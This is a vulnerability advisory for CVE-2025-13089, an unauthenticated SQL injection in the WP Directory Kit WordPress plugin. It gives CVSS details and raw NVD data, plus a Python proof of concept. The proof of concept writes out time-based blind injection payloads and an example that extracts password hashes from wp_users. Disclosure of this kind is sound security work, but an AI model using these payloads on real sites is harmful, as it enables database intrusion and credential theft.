Security Vulnerability Report
中文
CVE-2025-13089 CVSS 7.5 HIGH

CVE-2025-13089

Published: 2025-12-13 16:16:47
Last Modified: 2026-04-15 00:35:42

Description

The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'hide_fields' and the 'attr_search' parameter in all versions up to, and including, 1.4.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Directory Kit插件 <= 1.4.7(所有版本受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13089 PoC - WP Directory Kit SQL Injection # Target: WordPress site with WP Directory Kit plugin <= 1.4.7 def exploit_sqli(target_url, param_name='attr_search'): """ SQL Injection PoC for CVE-2025-13089 This demonstrates blind SQL injection via attr_search or hide_fields parameter """ # Test payload - Time-based blind SQL injection # This payload causes a delay if vulnerable payload_true = f"test' AND (SELECT 1 FROM (SELECT SLEEP(5))a) AND '1'='1" payload_false = f"test' AND (SELECT 1 FROM (SELECT SLEEP(0))a) AND '1'='1" # Target endpoint (typical WP Directory Kit endpoint) endpoints = [ f"{target_url}/?wdk_engine=search&{param_name}=", f"{target_url}/?wdk_engine=search&hide_fields=" ] print(f"[*] Testing CVE-2025-13089 on {target_url}") print(f"[*] Parameter: {param_name}") for endpoint in endpoints: try: # Test with true condition (should take longer) url_true = f"{endpoint}{payload_true}" print(f"[+] Sending payload for TRUE condition...") # Note: In real attack, attacker would measure response time # If vulnerable, TRUE payload should take ~5 seconds # FALSE payload should return immediately print(f"[*] Endpoint: {endpoint}") print(f"[*] Payload: {payload_true}") except Exception as e: print(f"[-] Error: {e}") print("\n[*] To extract data, attacker would use conditional time delays:") print("[*] Example: test' AND (SELECT IF(SUBSTRING(password,1,1)='a',SLEEP(5),0) FROM wp_users WHERE ID=1) AND '1'='1") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_sqli(target) else: print("Usage: python cve-2025-13089.py <target_url>") print("Example: python cve-2025-13089.py http://example.com")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13089", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:46.843", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'hide_fields' and the 'attr_search' parameter in all versions up to, and including, 1.4.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3396348%40wpdirectorykit&new=3396348%40wpdirectorykit&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3412635%40wpdirectorykit&new=3412635%40wpdirectorykit&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b0696cbe-70e0-402d-bcfd-40907a973785?source=cve", "source": "[email protected]"}]}}